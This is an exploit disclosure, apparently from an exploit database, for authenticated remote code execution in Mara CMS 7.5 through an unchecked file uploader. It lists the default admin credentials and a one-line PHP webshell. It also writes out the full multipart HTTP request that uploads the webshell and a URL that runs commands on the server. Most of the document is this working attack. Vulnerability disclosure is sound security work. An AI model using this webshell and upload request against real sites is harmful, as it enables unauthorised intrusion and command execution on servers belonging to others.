101 lines
No EOL
3.2 KiB
Text
101 lines
No EOL
3.2 KiB
Text
# Exploit Title: Mara CMS 7.5 - Remote Code Execution (Authenticated)
|
|
# Google Dork: N/A
|
|
# Date: 2020-08-31
|
|
# Exploit Author: Michele Cisternino (0blio_)
|
|
# Vendor Homepage: https://sourceforge.net/projects/maracms/
|
|
# Software Link: https://sourceforge.net/projects/maracms/files/MaraCMS75.zip/download
|
|
# Version: 7.5
|
|
# Tested on: Kali Linux(x64)
|
|
# CVE: N/A
|
|
|
|
|
|
# Description
|
|
|
|
|
|
MaraCMS 7.5 is vulnerable to Authenticated Remote Code Execution.
|
|
In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS as 'admin' or 'manager'.
|
|
The file uploader fails to check extensions of files uploaded by the user, so it is possible to upload a webshell and get RCE.
|
|
|
|
|
|
# PoC
|
|
|
|
|
|
1. Login on MaraCMS. Default credentials are:
|
|
Username: admin
|
|
Password: changeme
|
|
|
|
|
|
2. Navigate the file upload functionality (http://target/codebase/dir.php?type=filenew) and upload a file called 'webshell.php' with content '<?php system($_GET["cmd"]); ?>'.
|
|
A request similar to the following will be made:
|
|
|
|
|
|
POST /codebase/handler.php HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------1202504167994776142974823268
|
|
Content-Length: 1282
|
|
Origin: http://localhost
|
|
Connection: close
|
|
Referer: http://localhost/codebase/dir.php?type=filenew
|
|
Cookie: your_sitename_session_session=krevi5f3gr416p3o7cqdk4j1vv
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="authenticated"
|
|
|
|
|
|
MQ==
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="action"
|
|
|
|
|
|
dXBsb2Fk
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="MAX_FILE_SIZE"
|
|
|
|
|
|
10485760
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="type"
|
|
|
|
|
|
filenew
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="files[]"; filename="webshell.php"
|
|
Content-Type: application/x-php
|
|
|
|
|
|
<?php system($_GET["cmd"]); ?>
|
|
|
|
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="usr"
|
|
|
|
|
|
YWRtaW4=
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="pwd"
|
|
|
|
|
|
MWUyNzUwMTA3OTgyNzQ2NTQ5ZDZlYWY0MWNmMzcwZTBlZTc3NWNiNWZiNTExMWNhOGI5ZWNjNWI0M2JkOGE2NA==
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="authenticated"
|
|
|
|
|
|
MQ==
|
|
-----------------------------1202504167994776142974823268
|
|
Content-Disposition: form-data; name="destdir"
|
|
|
|
|
|
|
|
|
|
-----------------------------1202504167994776142974823268--
|
|
|
|
|
|
3. Execute remote commands by navigating:
|
|
|
|
http://target/webshell.php?cmd=whoami |